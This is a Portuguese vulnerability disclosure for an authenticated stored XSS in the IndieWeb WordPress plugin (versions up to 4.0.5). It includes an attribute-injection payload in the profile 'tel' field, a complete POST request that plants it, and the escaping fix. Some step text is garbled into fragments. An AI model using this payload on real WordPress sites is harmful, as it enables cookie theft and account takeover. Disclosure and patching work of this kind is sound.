
Cross-Site Scripting (XSS) Armazenado Autenticado no Plugin IndieWeb para WordPress
Aviso Legal: Este repositório foi criado apenas para fins educacionais e divulgação ética. A vulnerabilidade foi reportada de forma responsável ao fornecedor e corrigida. Não utilize estas informações para explorar sistemas sem a devida autorização.
Uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado foi descoberta no plugin IndieWeb para WordPress (versões <= 4.0.5). Essa vulnerabilidade permite que atacantes autenticados com privilégios de Autor ou superiores injetem JavaScript malicioso no campo "Telefone" do perfil do usuário.
Quando o "Widget H-Card do Perfil do Autor" é exibido no front-end, o script injetado é renderizado sem sanitização adequada. Se um usuário altamente privilegiado, como um Administrador, clicar no link manipulado, o script será executado no contexto do navegador dele. Isso pode levar ao sequestro de sessão, ações administrativas não autorizadas e à completa Assunção de Conta (ATO).
<= 4.0.5O problema central está no manuseio inseguro dos metadados do usuário no sistema de templates do plugin, especificamente na falha em usar as funções de escape integradas do WordPress.
Arquivo Vulnerável: templates/h-card.php (Linha 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
A Falha:
O plugin produz diretamente os metadados tel do usuário dentro do atributo HTML href usando echo, sem envolvê-los em esc_attr(). Isso permite que um atacante forneça uma string manipulada que inclui uma aspa dupla (") para fechar prematuramente o atributo href, seguida por atributos HTML arbitrários (como style ou onclick).
<= 4.0.5 ativado./wp-admin/profile.php).href):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) para exibir as informações do autor.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
Para corrigir esta vulnerabilidade, os desenvolvedores do plugin devem escapar corretamente a saída usando as funções esc_attr() e esc_html() do WordPress.
Exemplo de Código Corrigido:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>